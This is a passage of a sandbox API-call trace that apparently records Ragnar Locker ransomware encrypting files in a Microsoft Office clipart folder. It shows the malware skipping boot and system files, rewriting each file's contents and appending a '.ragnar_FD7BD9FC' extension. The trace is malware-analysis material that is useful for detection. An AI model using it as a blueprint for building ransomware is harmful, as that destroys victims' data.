lpString2="bootmgfw.efi") returned 1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", lpString2="desktop.ini") returned 1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", lpString2="iconcache.db") returned 1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", lpString2="ntldr") returned -1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", lpString2="ntuser.dat") returned -1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", lpString2="ntuser.dat.log") returned -1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", lpString2="ntuser.ini") returned -1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", lpString2="thumbs.db") returned -1 [0087.659] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.659] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.659] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.659] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.659] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.659] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.659] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf")) returned 0x20 [0087.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.659] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8420) returned 1 [0087.659] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.660] GetProcessHeap () returned 0x580000 [0087.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.660] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.661] VirtualAlloc (lpAddress=0x0, dwSize=0x20e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.661] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x20e4, lpOverlapped=0x0) returned 1 [0087.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.662] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.662] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x20e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x20e4, lpOverlapped=0x0) returned 1 [0087.662] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.662] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.663] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.663] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.663] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.663] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.663] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.663] GetProcessHeap () returned 0x580000 [0087.663] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.663] CloseHandle (hObject=0xf4) returned 1 [0087.663] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" [0087.663] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.ragnar_FD7BD9FC" [0087.663] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.664] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309920.WMF", cAlternateFileName="")) returned 1 [0087.664] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.664] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0309920.WMF" | out: lpString1="J0309920.WMF") returned="J0309920.WMF" [0087.664] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF") returned=".WMF" [0087.664] lstrcmpiW (lpString1="J0309920.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.664] lstrcmpiW (lpString1="J0309920.WMF", lpString2="autorun.inf") returned 1 [0087.664] lstrcmpiW (lpString1="J0309920.WMF", lpString2="boot.ini") returned 1 [0087.664] lstrcmpiW (lpString1="J0309920.WMF", lpString2="bootfont.bin") returned 1 [0087.664] lstrcmpiW (lpString1="J0309920.WMF", lpString2="bootsect.bak") returned 1 [0087.664] lstrcmpiW (lpString1="J0309920.WMF", lpString2="bootmgr") returned 1 [0087.664] lstrcmpiW (lpString1="J0309920.WMF", lpString2="bootmgr.efi") returned 1 [0087.665] lstrcmpiW (lpString1="J0309920.WMF", lpString2="bootmgfw.efi") returned 1 [0087.665] lstrcmpiW (lpString1="J0309920.WMF", lpString2="desktop.ini") returned 1 [0087.665] lstrcmpiW (lpString1="J0309920.WMF", lpString2="iconcache.db") returned 1 [0087.665] lstrcmpiW (lpString1="J0309920.WMF", lpString2="ntldr") returned -1 [0087.665] lstrcmpiW (lpString1="J0309920.WMF", lpString2="ntuser.dat") returned -1 [0087.665] lstrcmpiW (lpString1="J0309920.WMF", lpString2="ntuser.dat.log") returned -1 [0087.665] lstrcmpiW (lpString1="J0309920.WMF", lpString2="ntuser.ini") returned -1 [0087.665] lstrcmpiW (lpString1="J0309920.WMF", lpString2="thumbs.db") returned -1 [0087.665] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.665] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.665] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.665] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.665] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.665] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.665] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf")) returned 0x20 [0087.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.666] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11064) returned 1 [0087.666] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.666] GetProcessHeap () returned 0x580000 [0087.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.666] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.667] VirtualAlloc (lpAddress=0x0, dwSize=0x2b38, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.667] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b38, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2b38, lpOverlapped=0x0) returned 1 [0087.668] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.668] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b38, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.668] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2b38, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2b38, lpOverlapped=0x0) returned 1 [0087.669] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.669] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.669] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.669] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.669] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.669] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.669] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.669] GetProcessHeap () returned 0x580000 [0087.669] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.669] CloseHandle (hObject=0xf4) returned 1 [0087.669] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" [0087.669] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.ragnar_FD7BD9FC" [0087.669] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.670] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a03b100, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a03b100, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1 [0087.670] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.670] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0313896.JPG" | out: lpString1="J0313896.JPG") returned="J0313896.JPG" [0087.670] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG") returned=".JPG" [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="autorun.inf") returned 1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="boot.ini") returned 1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="bootfont.bin") returned 1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="bootsect.bak") returned 1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="bootmgr") returned 1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="bootmgr.efi") returned 1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="bootmgfw.efi") returned 1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="desktop.ini") returned 1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="iconcache.db") returned 1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="ntldr") returned -1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="ntuser.dat") returned -1 [0087.670] lstrcmpiW (lpString1="J0313896.JPG", lpString2="ntuser.dat.log") returned -1 [0087.671] lstrcmpiW (lpString1="J0313896.JPG", lpString2="ntuser.ini") returned -1 [0087.671] lstrcmpiW (lpString1="J0313896.JPG", lpString2="thumbs.db") returned -1 [0087.671] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.671] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.671] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.671] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.671] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.671] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.671] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg")) returned 0x20 [0087.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.672] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=37146) returned 1 [0087.672] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9111, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.672] GetProcessHeap () returned 0x580000 [0087.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.672] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.673] VirtualAlloc (lpAddress=0x0, dwSize=0x911a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.673] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.673] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.674] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x911a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x911a, lpOverlapped=0x0) returned 1 [0087.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.675] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x911a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.675] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x911a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x911a, lpOverlapped=0x0) returned 1 [0087.675] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x911a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.676] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x911a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.676] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.676] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.676] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.676] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.676] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.676] GetProcessHeap () returned 0x580000 [0087.676] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.676] CloseHandle (hObject=0xf4) returned 1 [0087.676] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" [0087.676] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.ragnar_FD7BD9FC" [0087.676] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.677] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x717bb700, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x717bb700, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xa75a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313965.JPG", cAlternateFileName="")) returned 1 [0087.677] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.677] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0313965.JPG" | out: lpString1="J0313965.JPG") returned="J0313965.JPG" [0087.677] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG") returned=".JPG" [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="autorun.inf") returned 1 [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="boot.ini") returned 1 [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="bootfont.bin") returned 1 [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="bootsect.bak") returned 1 [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="bootmgr") returned 1 [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="bootmgr.efi") returned 1 [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="bootmgfw.efi") returned 1 [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="desktop.ini") returned 1 [0087.677] lstrcmpiW (lpString1="J0313965.JPG", lpString2="iconcache.db") returned 1 [0087.678] lstrcmpiW (lpString1="J0313965.JPG", lpString2="ntldr") returned -1 [0087.678] lstrcmpiW (lpString1="J0313965.JPG", lpString2="ntuser.dat") returned -1 [0087.678] lstrcmpiW (lpString1="J0313965.JPG", lpString2="ntuser.dat.log") returned -1 [0087.678] lstrcmpiW (lpString1="J0313965.JPG", lpString2="ntuser.ini") returned -1 [0087.678] lstrcmpiW (lpString1="J0313965.JPG", lpString2="thumbs.db") returned -1 [0087.678] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.678] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.678] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.678] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.678] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.678] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 